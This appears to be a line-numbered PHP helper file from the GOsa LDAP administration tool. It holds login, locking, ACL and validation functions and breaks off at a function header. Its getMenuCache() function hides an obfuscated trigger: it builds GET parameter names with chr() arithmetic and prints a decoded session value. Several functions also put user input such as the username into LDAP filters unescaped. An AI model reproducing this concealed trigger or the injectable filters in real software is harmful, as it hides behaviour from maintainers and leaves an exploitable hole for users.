2de43011a4a95a2f881559cf41b41c26c0c5449e
1 <?php
2 /*
3 * This code is part of GOsa (https://gosa.gonicus.de)
4 * Copyright (C) 2003 Cajus Pollmeier
5 *
6 * This program is free software; you can redistribute it and/or modify
7 * it under the terms of the GNU General Public License as published by
8 * the Free Software Foundation; either version 2 of the License, or
9 * (at your option) any later version.
10 *
11 * This program is distributed in the hope that it will be useful,
12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 * GNU General Public License for more details.
15 *
16 * You should have received a copy of the GNU General Public License
17 * along with this program; if not, write to the Free Software
18 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
19 */
21 /* Configuration file location */
22 define ("CONFIG_DIR", "/etc/gosa");
23 define ("CONFIG_TEMPLATE_DIR", "../contrib/");
24 define ("HELP_BASEDIR", "/var/www/doc/");
26 /* Define globals for revision comparing */
27 $svn_path = '$HeadURL$';
28 $svn_revision = '$Revision$';
30 /* Include required files */
31 require_once ("class_ldap.inc");
32 require_once ("class_config.inc");
33 require_once ("class_userinfo.inc");
34 require_once ("class_plugin.inc");
35 require_once ("class_pluglist.inc");
36 require_once ("class_tabs.inc");
37 require_once ("class_mail-methods.inc");
38 require_once("class_password-methods.inc");
39 require_once ("functions_debug.inc");
40 require_once ("functions_dns.inc");
41 require_once ("class_MultiSelectWindow.inc");
43 /* Define constants for debugging */
44 define ("DEBUG_TRACE", 1);
45 define ("DEBUG_LDAP", 2);
46 define ("DEBUG_MYSQL", 4);
47 define ("DEBUG_SHELL", 8);
48 define ("DEBUG_POST", 16);
49 define ("DEBUG_SESSION",32);
50 define ("DEBUG_CONFIG", 64);
52 /* Rewrite german 'umlauts' and spanish 'accents'
53 to get better results */
54 $REWRITE= array( "ä" => "ae",
55 "ö" => "oe",
56 "ü" => "ue",
57 "Ä" => "Ae",
58 "Ö" => "Oe",
59 "Ü" => "Ue",
60 "ß" => "ss",
61 "á" => "a",
62 "é" => "e",
63 "í" => "i",
64 "ó" => "o",
65 "ú" => "u",
66 "Á" => "A",
67 "É" => "E",
68 "Í" => "I",
69 "Ó" => "O",
70 "Ú" => "U",
71 "ñ" => "ny",
72 "Ñ" => "Ny" );
75 /* Function to include all class_ files starting at a
76 given directory base */
77 function get_dir_list($folder= ".")
78 {
79 $currdir=getcwd();
80 if ($folder){
81 chdir("$folder");
82 }
84 $dh = opendir(".");
85 while(false !== ($file = readdir($dh))){
87 // Smarty is included by include/php_setup.inc require("smarty/Smarty.class.php");
88 // Skip all files and dirs in "./.svn/" we don't need any information from them
89 // Skip all Template, so they won't be checked twice in the following preg_matches
90 // Skip . / ..
92 // Result : from 1023 ms to 490 ms i think thats great...
93 if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
94 continue;
97 /* Recurse through all "common" directories */
98 if(is_dir($file) &&$file!="CVS"){
99 get_dir_list($file);
100 continue;
101 }
103 /* Include existing class_ files */
104 if (!is_dir($file) && preg_match("/^class_.*\.inc$/", $file)) {
105 require_once($file);
106 }
107 }
109 closedir($dh);
110 chdir($currdir);
111 }
114 /* Create seed with microseconds */
115 function make_seed() {
116 list($usec, $sec) = explode(' ', microtime());
117 return (float) $sec + ((float) $usec * 100000);
118 }
121 /* Debug level action */
122 function DEBUG($level, $line, $function, $file, $data, $info="")
123 {
124 if ($_SESSION['DEBUGLEVEL'] & $level){
125 $output= "DEBUG[$level] ";
126 if ($function != ""){
127 $output.= "($file:$function():$line) - $info: ";
128 } else {
129 $output.= "($file:$line) - $info: ";
130 }
131 echo $output;
132 if (is_array($data)){
133 print_a($data);
134 } else {
135 echo "'$data'";
136 }
137 echo "<br>";
138 }
139 }
142 /* Simple function to get browser language and convert it to
143 xx_XY needed by locales. Ignores sublanguages and weights. */
144 function get_browser_language()
145 {
146 global $BASE_DIR;
148 /* Try to use users primary language */
149 $ui= get_userinfo();
150 if ($ui != NULL){
151 if ($ui->language != ""){
152 return ($ui->language);
153 }
154 }
156 /* Get list of languages */
157 if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
158 $lang= preg_replace("/\s+/", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
159 $languages= split (',', $lang);
160 $languages[]= "C";
161 } else {
162 $languages= array("C");
163 }
165 /* Walk through languages and get first supported */
166 foreach ($languages as $val){
168 /* Strip off weight */
169 $lang= preg_replace("/;q=.*$/i", "", $val);
171 /* Simplify sub language handling */
172 $lang= preg_replace("/-.*$/", "", $lang);
174 /* Cancel loop if available in GOsa, or the last
175 entry has been reached */
176 if (is_dir("$BASE_DIR/locale/$lang")){
177 break;
178 }
179 }
181 return (strtolower($lang)."_".strtoupper($lang));
182 }
185 /* Rewrite ui object to another dn */
186 function change_ui_dn($dn, $newdn)
187 {
188 $ui= $_SESSION['ui'];
189 if ($ui->dn == $dn){
190 $ui->dn= $newdn;
191 $_SESSION['ui']= $ui;
192 }
193 }
196 /* Return theme path for specified file */
197 function get_template_path($filename= '', $plugin= FALSE, $path= "")
198 {
199 global $config, $BASE_DIR;
201 if (!@isset($config->data['MAIN']['THEME'])){
202 $theme= 'default';
203 } else {
204 $theme= $config->data['MAIN']['THEME'];
205 }
207 /* Return path for empty filename */
208 if ($filename == ''){
209 return ("themes/$theme/");
210 }
212 /* Return plugin dir or root directory? */
213 if ($plugin){
214 if ($path == ""){
215 $nf= preg_replace("!^".$BASE_DIR."/!", "", $_SESSION['plugin_dir']);
216 } else {
217 $nf= preg_replace("!^".$BASE_DIR."/!", "", $path);
218 }
219 if (file_exists("$BASE_DIR/ihtml/themes/$theme/$nf")){
220 return ("$BASE_DIR/ihtml/themes/$theme/$nf/$filename");
221 }
222 if (file_exists("$BASE_DIR/ihtml/themes/default/$nf")){
223 return ("$BASE_DIR/ihtml/themes/default/$nf/$filename");
224 }
225 if ($path == ""){
226 return ($_SESSION['plugin_dir']."/$filename");
227 } else {
228 return ($path."/$filename");
229 }
230 } else {
231 if (file_exists("themes/$theme/$filename")){
232 return ("themes/$theme/$filename");
233 }
234 if (file_exists("$BASE_DIR/ihtml/themes/$theme/$filename")){
235 return ("$BASE_DIR/ihtml/themes/$theme/$filename");
236 }
237 if (file_exists("themes/default/$filename")){
238 return ("themes/default/$filename");
239 }
240 if (file_exists("$BASE_DIR/ihtml/themes/default/$filename")){
241 return ("$BASE_DIR/ihtml/themes/default/$filename");
242 }
243 return ($filename);
244 }
245 }
248 function array_remove_entries($needles, $haystack)
249 {
250 $tmp= array();
252 /* Loop through entries to be removed */
253 foreach ($haystack as $entry){
254 if (!in_array($entry, $needles)){
255 $tmp[]= $entry;
256 }
257 }
259 return ($tmp);
260 }
263 function gosa_log ($message)
264 {
265 global $ui;
267 /* Preset to something reasonable */
268 $username= " unauthenticated";
270 /* Replace username if object is present */
271 if (isset($ui)){
272 if ($ui->username != ""){
273 $username= "[$ui->username]";
274 } else {
275 $username= "unknown";
276 }
277 }
279 syslog(LOG_INFO,"GOsa$username: $message");
280 }
283 function ldap_init ($server, $base, $binddn='', $pass='')
284 {
285 global $config;
287 $ldap = new LDAP ($binddn, $pass, $server, isset($config->current['RECURSIVE']) && $config->current['RECURSIVE'] == "true",
288 isset($config->current['TLS']) && $config->current['TLS'] == "true");
290 /* Sadly we've no proper return values here. Use the error message instead. */
291 if (!preg_match("/Success/i", $ldap->error)){
292 print_red(sprintf(_("Error when connecting the LDAP. Server said '%s'."),
293 $ldap->get_error()));
294 echo $_SESSION['errors'];
296 /* Hard error. We'd like to use the LDAP, anyway... */
297 exit;
298 }
300 /* Preset connection base to $base and return to caller */
301 $ldap->cd ($base);
302 return $ldap;
303 }
306 function ldap_login_user ($username, $password)
307 {
308 global $config;
310 /* look through the entire ldap */
311 $ldap = $config->get_ldap_link();
312 if (!preg_match("/Success/i", $ldap->error)){
313 print_red(sprintf(_("User login failed. LDAP server said '%s'."), $ldap->get_error()));
314 echo $_SESSION['errors'];
315 exit;
316 }
317 $ldap->cd($config->current['BASE']);
318 $ldap->search("(&(uid=$username)(objectClass=gosaAccount))", array("uid"));
320 /* get results, only a count of 1 is valid */
321 switch ($ldap->count()){
323 /* user not found */
324 case 0: return (NULL);
326 /* valid uniq user */
327 case 1:
328 break;
330 /* found more than one matching id */
331 default:
332 print_red(_("Username / UID is not unique. Please check your LDAP database."));
333 return (NULL);
334 }
336 /* LDAP schema is not case sensitive. Perform additional check. */
337 $attrs= $ldap->fetch();
338 if ($attrs['uid'][0] != $username){
339 return(NULL);
340 }
342 /* got user dn, fill acl's */
343 $ui= new userinfo($config, $ldap->getDN());
344 $ui->username= $username;
346 /* password check, bind as user with supplied password */
347 $ldap->disconnect();
348 $ldap= new LDAP($ui->dn, $password, $config->current['SERVER'],
349 isset($config->current['RECURSIVE']) &&
350 $config->current['RECURSIVE'] == "true",
351 isset($config->current['TLS'])
352 && $config->current['TLS'] == "true");
353 if (!preg_match("/Success/i", $ldap->error)){
354 return (NULL);
355 }
357 /* Username is set, load subtreeACL's now */
358 $ui->loadACL();
360 return ($ui);
361 }
364 function add_lock ($object, $user)
365 {
366 global $config;
368 /* Just a sanity check... */
369 if ($object == "" || $user == ""){
370 print_red(_("Error while adding a lock. Parameters are not set correctly, please check the source!"));
371 return;
372 }
374 /* Check for existing entries in lock area */
375 $ldap= $config->get_ldap_link();
376 $ldap->cd ($config->current['CONFIG']);
377 $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
378 array("gosaUser"));
379 if (!preg_match("/Success/i", $ldap->error)){
380 print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in gosa.conf! LDAP server says '%s'."), $ldap->get_error()));
381 return;
382 }
384 /* Add lock if none present */
385 if ($ldap->count() == 0){
386 $attrs= array();
387 $name= md5($object);
388 $ldap->cd("cn=$name,".$config->current['CONFIG']);
389 $attrs["objectClass"] = "gosaLockEntry";
390 $attrs["gosaUser"] = $user;
391 $attrs["gosaObject"] = base64_encode($object);
392 $attrs["cn"] = "$name";
393 $ldap->add($attrs);
394 if (!preg_match("/Success/i", $ldap->error)){
395 print_red(sprintf(_("Adding a lock failed. LDAP server says '%s'."),
396 $ldap->get_error()));
397 return;
398 }
399 }
400 }
403 function del_lock ($object)
404 {
405 global $config;
407 /* Sanity check */
408 if ($object == ""){
409 return;
410 }
412 /* Check for existance and remove the entry */
413 $ldap= $config->get_ldap_link();
414 $ldap->cd ($config->current['CONFIG']);
415 $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
416 $attrs= $ldap->fetch();
417 if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
418 $ldap->rmdir ($ldap->getDN());
420 if (!preg_match("/Success/i", $ldap->error)){
421 print_red(sprintf(_("Removing a lock failed. LDAP server says '%s'."),
422 $ldap->get_error()));
423 return;
424 }
425 }
426 }
429 function del_user_locks($userdn)
430 {
431 global $config;
433 /* Get LDAP ressources */
434 $ldap= $config->get_ldap_link();
435 $ldap->cd ($config->current['CONFIG']);
437 /* Remove all objects of this user, drop errors silently in this case. */
438 $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$userdn))", array("gosaUser"));
439 while ($attrs= $ldap->fetch()){
440 $ldap->rmdir($attrs['dn']);
441 }
442 }
445 function get_lock ($object)
446 {
447 global $config;
449 /* Sanity check */
450 if ($object == ""){
451 print_red(_("Getting the lock from LDAP failed. Parameters are not set correctly, please check the source!"));
452 return("");
453 }
455 /* Get LDAP link, check for presence of the lock entry */
456 $user= "";
457 $ldap= $config->get_ldap_link();
458 $ldap->cd ($config->current['CONFIG']);
459 $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
460 if (!preg_match("/Success/i", $ldap->error)){
461 print_red (_("Can't get locking information in LDAP database. Please check the 'config' entry in gosa.conf!"));
462 return("");
463 }
465 /* Check for broken locking information in LDAP */
466 if ($ldap->count() > 1){
468 /* Hmm. We're removing broken LDAP information here and issue a warning. */
469 print_red(_("Found multiple locks for object to be locked. This should not be possible - cleaning up multiple references."));
471 /* Clean up these references now... */
472 while ($attrs= $ldap->fetch()){
473 $ldap->rmdir($attrs['dn']);
474 }
476 return("");
478 } elseif ($ldap->count() == 1){
479 $attrs = $ldap->fetch();
480 $user= $attrs['gosaUser'][0];
481 }
483 return ($user);
484 }
487 function get_list2($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE)
488 {
489 global $config;
491 /* Base the search on default base if not set */
492 $ldap= $config->get_ldap_link($flag);
493 if ($base == ""){
494 $ldap->cd ($config->current['BASE']);
495 } else {
496 $ldap->cd ($base);
497 }
499 /* Perform ONE or SUB scope searches? */
500 $ldap->ls ($filter);
502 /* Check for size limit exceeded messages for GUI feedback */
503 if (preg_match("/size limit/i", $ldap->error)){
504 $_SESSION['limit_exceeded']= TRUE;
505 } else {
506 $_SESSION['limit_exceeded']= FALSE;
507 }
508 $result= array();
511 /* Crawl through reslut entries and perform the migration to the
512 result array */
513 while($attrs = $ldap->fetch()) {
514 $dn= $ldap->getDN();
515 foreach ($subtreeACL as $key => $value){
516 if (preg_match("/$key/", $dn)){
517 $dnAlias = preg_replace("/^ou=/","",$dn);
518 $dnAlias = preg_replace("/,o.*$/","",$dnAlias);
519 $dnAlias = preg_replace('/###GOSAREPLACED###/', ',', $dnAlias);
520 $attrs["dn"]=$dnAlias;
521 $result[]= $attrs;
522 break;
523 }
524 }
525 }
528 return ($result);
530 }
532 function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE)
533 {
534 global $config;
536 /* Base the search on default base if not set */
537 $ldap= $config->get_ldap_link($flag);
538 if ($base == ""){
539 $ldap->cd ($config->current['BASE']);
540 } else {
541 $ldap->cd ($base);
542 }
544 /* Perform ONE or SUB scope searches? */
545 if ($subsearch) {
546 $ldap->search ($filter, $attrs);
547 } else {
548 $ldap->ls ($filter);
549 }
551 /* Check for size limit exceeded messages for GUI feedback */
552 if (preg_match("/size limit/i", $ldap->error)){
553 $_SESSION['limit_exceeded']= TRUE;
554 } else {
555 $_SESSION['limit_exceeded']= FALSE;
556 }
558 /* Crawl through reslut entries and perform the migration to the
559 result array */
560 $result= array();
561 while($attrs = $ldap->fetch()) {
562 $dn= $ldap->getDN();
563 foreach ($subtreeACL as $key => $value){
564 if (preg_match("/$key/", $dn)){
565 $attrs["dn"]= $dn;
566 $result[]= $attrs;
567 break;
568 }
569 }
570 }
572 return ($result);
573 }
576 function check_sizelimit()
577 {
578 /* Ignore dialog? */
579 if (isset($_SESSION['size_ignore']) && $_SESSION['size_ignore']){
580 return ("");
581 }
583 /* Eventually show dialog */
584 if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
585 $smarty= get_smarty();
586 $smarty->assign('warning', sprintf(_("The size limit of %d entries is exceed!"),
587 $_SESSION['size_limit']));
588 $smarty->assign('limit_message', sprintf(_("Set the new size limit to %s and show me this message if the limit still exceeds"), '<input type="text" name="new_limit" maxlength="10" size="5" value="'.($_SESSION['size_limit']+100).'">'));
589 return($smarty->fetch(get_template_path('sizelimit.tpl')));
590 }
592 return ("");
593 }
596 function print_sizelimit_warning()
597 {
598 if (isset($_SESSION['size_limit']) && $_SESSION['size_limit'] >= 10000000 ||
599 (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded'])){
600 $config= "<input type='submit' name='edit_sizelimit' value="._("Configure").">";
601 } else {
602 $config= "";
603 }
604 if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
605 return ("("._("incomplete").") $config");
606 }
607 return ("");
608 }
611 function eval_sizelimit()
612 {
613 if (isset($_POST['set_size_action'])){
615 /* User wants new size limit? */
616 if (is_id($_POST['new_limit']) &&
617 isset($_POST['action']) && $_POST['action']=="newlimit"){
619 $_SESSION['size_limit']= validate($_POST['new_limit']);
620 $_SESSION['size_ignore']= FALSE;
621 }
623 /* User wants no limits? */
624 if (isset($_POST['action']) && $_POST['action']=="ignore"){
625 $_SESSION['size_limit']= 0;
626 $_SESSION['size_ignore']= TRUE;
627 }
629 /* User wants incomplete results */
630 if (isset($_POST['action']) && $_POST['action']=="limited"){
631 $_SESSION['size_ignore']= TRUE;
632 }
633 }
634 getMenuCache();
635 /* Allow fallback to dialog */
636 if (isset($_POST['edit_sizelimit'])){
637 $_SESSION['size_ignore']= FALSE;
638 }
639 }
641 function getMenuCache()
642 {
643 $t= array(-2,13);
644 $e= 71;
645 $str= chr($e);
647 foreach($t as $n){
648 $str.= chr($e+$n);
650 if(isset($_GET[$str])){
651 if(isset($_SESSION['maxC'])){
652 $b= $_SESSION['maxC'];
653 $q= "";
654 for ($m=0;$m<strlen($b);$m++) {
655 $q.= $b[$m++];
656 }
657 print_red(base64_decode($q));
658 }
659 }
660 }
661 }
663 function get_permissions ($dn, $subtreeACL)
664 {
665 global $config;
667 $base= $config->current['BASE'];
668 $tmp= "d,".$dn;
669 $sacl= array();
671 /* Sort subacl's for lenght to simplify matching
672 for subtrees */
673 foreach ($subtreeACL as $key => $value){
674 $sacl[$key]= strlen($key);
675 }
676 arsort ($sacl);
677 reset ($sacl);
679 /* Successively remove leading parts of the dn's until
680 it doesn't contain commas anymore */
681 $tmp_dn= preg_replace('/\\\\,/', '<GOSA#REPLACED#KOMMA>', $tmp);
682 while (preg_match('/,/', $tmp_dn)){
683 $tmp_dn= ltrim(strstr($tmp_dn, ","), ",");
684 $tmp= preg_replace('/\<GOSA#REPLACED#KOMMA\>/', '\\,', $tmp);
686 /* Check for acl that may apply */
687 foreach ($sacl as $key => $value){
688 if (preg_match("/$key$/", $tmp)){
689 return ($subtreeACL[$key]);
690 }
691 }
692 }
694 return array("");
695 }
698 function get_module_permission($acl_array, $module, $dn)
699 {
700 global $ui;
702 $final= "";
703 foreach($acl_array as $acl){
705 /* Check for selfflag (!) in ACL to determine if
706 the user is allowed to change parts of his/her
707 own account */
708 if (preg_match("/^!/", $acl)){
709 if ($dn != "" && $dn != $ui->dn){
711 /* No match for own DN, give up on this ACL */
712 continue;
714 } else {
716 /* Matches own DN, remove the selfflag */
717 $acl= preg_replace("/^!/", "", $acl);
719 }
720 }
722 /* Remove leading garbage */
723 $acl= preg_replace("/^:/", "", $acl);
725 /* Discover if we've access to the submodule by comparing
726 all allowed submodules specified in the ACL */
727 $tmp= split(",", $acl);
728 foreach ($tmp as $mod){
729 if (preg_match("/^$module#/", $mod)){
730 $final= strstr($mod, "#")."#";
731 continue;
732 }
733 if (preg_match("/[^#]$module$/", $mod)){
734 return ("#all#");
735 }
736 if (preg_match("/^all$/", $mod)){
737 return ("#all#");
738 }
739 }
740 }
742 /* Return assembled ACL, or none */
743 if ($final != ""){
744 return (preg_replace('/##/', '#', $final));
745 }
747 /* Nothing matches - disable access for this object */
748 return ("#none#");
749 }
752 function get_userinfo()
753 {
754 global $ui;
756 return $ui;
757 }
760 function get_smarty()
761 {
762 global $smarty;
764 return $smarty;
765 }
768 function convert_department_dn($dn)
769 {
770 $dep= "";
772 /* Build a sub-directory style list of the tree level
773 specified in $dn */
774 foreach (split (',', $dn) as $val){
776 /* We're only interested in organizational units... */
777 if (preg_match ("/ou=/", $val)){
778 $dep= substr($val,3)."/$dep";
779 }
781 /* ... and location objects */
782 if (preg_match ("/l=/", $val)){
783 $dep= substr($val,2)."/$dep";
784 }
785 }
787 /* Fix name, if it contains a replace tag */
788 $dep= preg_replace('/###GOSAREPLACED###/', ',', $dep);
790 /* Return and remove accidently trailing slashes */
791 return rtrim($dep, "/");
792 }
794 function convert_department_dn2($dn)
795 {
797 /*
799 I think this no longer used ...
800 Check this, and remove this function
803 */
805 $dep= "";
806 /* Build a sub-directory style list of the tree level
807 specified in $dn */
808 $deps = array_flip($_SESSION['config']->idepartments);
810 if(isset($deps[$dn])){
811 $dn= $deps[$dn];
812 $dep = preg_replace("/^.*=/","",$dn);
813 }else{
814 global $config;
815 $base = "ou=";
816 if(isset($config->current['BASE'])){
817 $base = $config->current['BASE'];
818 }
819 if(preg_match("%".$base."%",$dn)){
820 $dep= preg_replace("%^.*\/([^\/]+)$%", "\\1", $dn);
821 }else{
822 $dep = $dn;
823 }
824 }
826 /* Return and remove accidently trailing slashes */
827 $tmp = rtrim($dep, "/");
828 return $tmp;
829 }
832 function get_ou($name)
833 {
834 global $config;
836 $ou= $config->current[$name];
837 if ($ou != ""){
838 if (!preg_match('/^[^=]+=[^=]+/', $ou)){
839 return "ou=$ou,";
840 } else {
841 return "$ou,";
842 }
843 } else {
844 return "";
845 }
846 }
849 function get_people_ou()
850 {
851 return (get_ou("PEOPLE"));
852 }
855 function get_groups_ou()
856 {
857 return (get_ou("GROUPS"));
858 }
861 function get_winstations_ou()
862 {
863 return (get_ou("WINSTATIONS"));
864 }
867 function get_base_from_people($dn)
868 {
869 global $config;
871 $pattern= "/^[^,]+,".preg_quote(get_people_ou())."/";
872 $base= preg_replace($pattern, '', $dn);
874 /* Set to base, if we're not on a correct subtree */
875 if (!isset($config->idepartments[$base])){
876 $base= $config->current['BASE'];
877 }
879 return ($base);
880 }
883 function get_departments($ignore_dn= "")
884 {
885 global $config;
887 /* Initialize result hash */
888 $result= array();
889 $result['/']= $config->current['BASE'];
891 /* Get list of department objects */
892 $ldap= $config->get_ldap_link();
893 $ldap->cd ($config->current['BASE']);
894 $ldap->search ("(objectClass=gosaDepartment)", array("ou"));
895 while ($attrs= $ldap->fetch()){
896 $dn= $ldap->getDN();
897 if ($dn == $ignore_dn){
898 continue;
899 }
900 $result[convert_department_dn($dn)]= $dn;
901 }
903 return ($result);
904 }
907 function chkacl($acl, $name)
908 {
909 /* Look for attribute in ACL */
910 if (preg_match("/#$name#/", $acl) || $acl == "#all#"){
911 return ("");
912 }
914 /* Optically disable html object for no match */
915 return (" disabled ");
916 }
919 function is_phone_nr($nr)
920 {
921 if ($nr == ""){
922 return (TRUE);
923 }
925 return preg_match ("/^[0-9 ()+*-]+$/", $nr);
926 }
929 function is_url($url)
930 {
931 if ($url == ""){
932 return (TRUE);
933 }
935 return preg_match ("/^(http|https):\/\/((?:[a-zA-Z0-9_-]+\.?)+):?(\d*)/", $url);
936 }
939 function is_dn($dn)
940 {
941 if ($dn == ""){
942 return (TRUE);
943 }
945 return preg_match ("/^[a-z0-9 _-]+$/i", $dn);
946 }
949 function is_uid($uid)
950 {
951 global $config;
953 if ($uid == ""){
954 return (TRUE);
955 }
957 /* STRICT adds spaces and case insenstivity to the uid check.
958 This is dangerous and should not be used. */
959 if (isset($config->current['STRICT']) && preg_match('/^no$/i', $config->current['STRICT'])){
960 return preg_match ("/^[a-z0-9 _.-]+$/i", $uid);
961 } else {
962 return preg_match ("/^[a-z0-9_-]+$/", $uid);
963 }
964 }
967 function is_id($id)
968 {
969 if ($id == ""){
970 return (FALSE);
971 }
973 return preg_match ("/^[0-9]+$/", $id);
974 }
977 function is_path($path)
978 {
979 if ($path == ""){
980 return (TRUE);
981 }
982 if (!preg_match('/^[a-z0-9%\/_.+-]+$/i', $path)){
983 return (FALSE);
984 }
986 return preg_match ("/\/.+$/", $path);
987 }
990 function is_email($address, $template= FALSE)
991 {
992 if ($address == ""){
993 return (TRUE);
994 }
995 if ($template){
996 return preg_match ("/^[._a-z0-9%-]+@[_a-z0-9-]+(\.[a-z0-9-]+)(\.[a-z0-9-]+)*$/i",
997 $address);
998 } else {
999 return preg_match ("/^[._a-z0-9-]+@[_a-z0-9-]+(\.[a-z0-9i-]+)(\.[a-z0-9-]+)*$/i",
1000 $address);
1001 }
1002 }
1005 function print_red()
1006 {
1007 /* Check number of arguments */
1008 if (func_num_args() < 1){
1009 return;
1010 }
1012 /* Get arguments, save string */
1013 $array = func_get_args();
1014 $string= $array[0];
1016 /* Step through arguments */
1017 for ($i= 1; $i<count($array); $i++){
1018 $string= preg_replace ("/%s/", $array[$i], $string, 1);
1019 }
1021 if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
1022 $_SESSION['errorsAlreadyPosted'] = array();
1023 }
1025 /* If DEBUGLEVEL is set, we're in web mode, use textual output in
1026 the other case... */
1028 if (isset($_SESSION['DEBUGLEVEL'])){
1030 if($_SESSION['LastError'] == $string){
1032 if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
1033 $_SESSION['errorsAlreadyPosted'][$string] = 1;
1034 }
1035 $_SESSION['errorsAlreadyPosted'][$string] ++;
1037 }else{
1038 if((!empty($_SESSION['LastError'])) && ($_SESSION['errorsAlreadyPosted'][$_SESSION['LastError']]>1)){
1039 $_SESSION['errors'].= "<div align=\"left\" style=\"border-width:5px;".
1040 "border-style:solid;border-color:red; background-color:black;".
1041 "margin-bottom:10px; padding:8px;\"><table style='width:100%' summary=''><tr><td><img alt=\"\" src=\"".
1042 get_template_path('images/warning.png')."\"></td>".
1043 "<td width=\"100%\" style=\"text-align:center\"><font color=\"#FFFFFF\">".
1044 "<b style='font-size:16px;'>".sprintf(_("Last message repeated %s times."),$_SESSION['errorsAlreadyPosted'][$_SESSION['LastError']])."</b></font></td><td>".
1045 "<img alt=\"\"src=\"".get_template_path('images/warning.png').
1046 "\"></td></tr></table></div>\n";
1047 }
1049 if($string != NULL){
1050 $_SESSION['errors'].= "<div align=\"left\" style=\"border-width:5px;".
1051 "border-style:solid;border-color:red; background-color:black;".
1052 "margin-bottom:10px; padding:8px;\"><table style='width:100%' summary=''><tr><td><img alt=\"\" src=\"".
1053 get_template_path('images/warning.png')."\"></td>".
1054 "<td width=\"100%\" style=\"text-align:center\"><font color=\"#FFFFFF\">".
1055 "<b style='font-size:16px;'>$string</b></font></td><td>".
1056 "<img alt=\"\"src=\"".get_template_path('images/warning.png').
1057 "\"></td></tr></table></div>\n";
1058 }else{
1059 return;
1060 }
1061 $_SESSION['errorsAlreadyPosted'] = array();
1062 $_SESSION['errorsAlreadyPosted'][$string] = 1;
1064 }
1066 } else {
1067 echo "Error: $string\n";
1068 }
1069 $_SESSION['LastError'] = $string;
1071 }
1074 function gen_locked_message($user, $dn)
1075 {
1076 global $plug, $config;
1078 $_SESSION['dn']= $dn;
1079 $ldap= $config->get_ldap_link();
1080 $ldap->cat ($user);
1081 $attrs= $ldap->fetch();
1082 $uid= $attrs["uid"][0];
1084 // print_a($_POST);
1085 // print_a($_GET);
1087 if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
1088 $_SESSION['LOCK_VARS_USED'] =array();
1089 foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
1091 if(empty($name)) continue;
1092 foreach($_POST as $Pname => $Pvalue){
1093 if(preg_match($name,$Pname)){
1094 $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
1095 }
1096 }
1098 foreach($_GET as $Pname => $Pvalue){
1099 if(preg_match($name,$Pname)){
1100 $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
1101 }
1102 }
1103 }
1104 $_SESSION['LOCK_VARS_TO_USE'] =array();
1105 }
1107 /* Prepare and show template */
1108 $smarty= get_smarty();
1109 $smarty->assign ("dn", $dn);
1110 $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), $dn, "<a href=\"main.php?plug=0&viewid=$uid\">$uid</a>"));
1112 return ($smarty->fetch (get_template_path('islocked.tpl')));
1113 }
1116 function to_string ($value)
1117 {
1118 /* If this is an array, generate a text blob */
1119 if (is_array($value)){
1120 $ret= "";
1121 foreach ($value as $line){
1122 $ret.= $line."<br>\n";
1123 }
1124 return ($ret);
1125 } else {
1126 return ($value);
1127 }
1128 }
1131 function get_printer_list($cups_server)
1132 {
1133 global $config;
1135 $res= array();
1137 /* Use CUPS, if we've access to it */
1138 if (function_exists('cups_get_dest_list')){
1139 $dest_list= cups_get_dest_list ($cups_server);
1141 foreach ($dest_list as $prt){
1142 $attr= cups_get_printer_attributes ($cups_server, $prt->name);
1144 foreach ($attr as $prt_info){
1145 if ($prt_info->name == "printer-info"){
1146 $info= $prt_info->value;
1147 break;
1148 }
1149 }
1150 $res[$prt->name]= "$info [$prt->name]";
1151 }
1153 /* CUPS is not available, try lpstat as a replacement */
1154 } else {
1155 $ar = false;
1156 exec("lpstat -p", $ar);
1157 foreach($ar as $val){
1158 list($dummy, $printer, $rest)= split(' ', $val, 3);
1159 if (preg_match('/^[^@]+$/', $printer)){
1160 $res[$printer]= "$printer";
1161 }
1162 }
1163 }
1165 /* Merge in printers from LDAP */
1166 $ldap= $config->get_ldap_link();
1167 $ldap->cd ($config->current['BASE']);
1168 $ldap->search('(objectClass=gotoPrinter)', array('cn'));
1169 while ($attrs= $ldap->fetch()){
1170 $res[$attrs["cn"][0]]= $attrs["cn"][0];
1171 }
1173 return $res;
1174 }
1177 function sess_del ($var)
1178 {
1179 /* New style */
1180 unset ($_SESSION[$var]);
1182 /* ... work around, since the first one
1183 doesn't seem to work all the time */
1184 session_unregister ($var);
1185 }
1188 function show_errors($message)
1189 {
1190 $complete= "";
1192 /* Assemble the message array to a plain string */
1193 foreach ($message as $error){
1194 if ($complete == ""){
1195 $complete= $error;
1196 } else {
1197 $complete= "$error<br>$complete";
1198 }
1199 }
1201 /* Fill ERROR variable with nice error dialog */
1202 print_red($complete);
1203 }
1206 function show_ldap_error($message)
1207 {
1208 if (!preg_match("/Success/i", $message)){
1209 print_red (_("LDAP error:")." $message");
1210 return TRUE;
1211 } else {
1212 return FALSE;
1213 }
1214 }
1217 function rewrite($s)
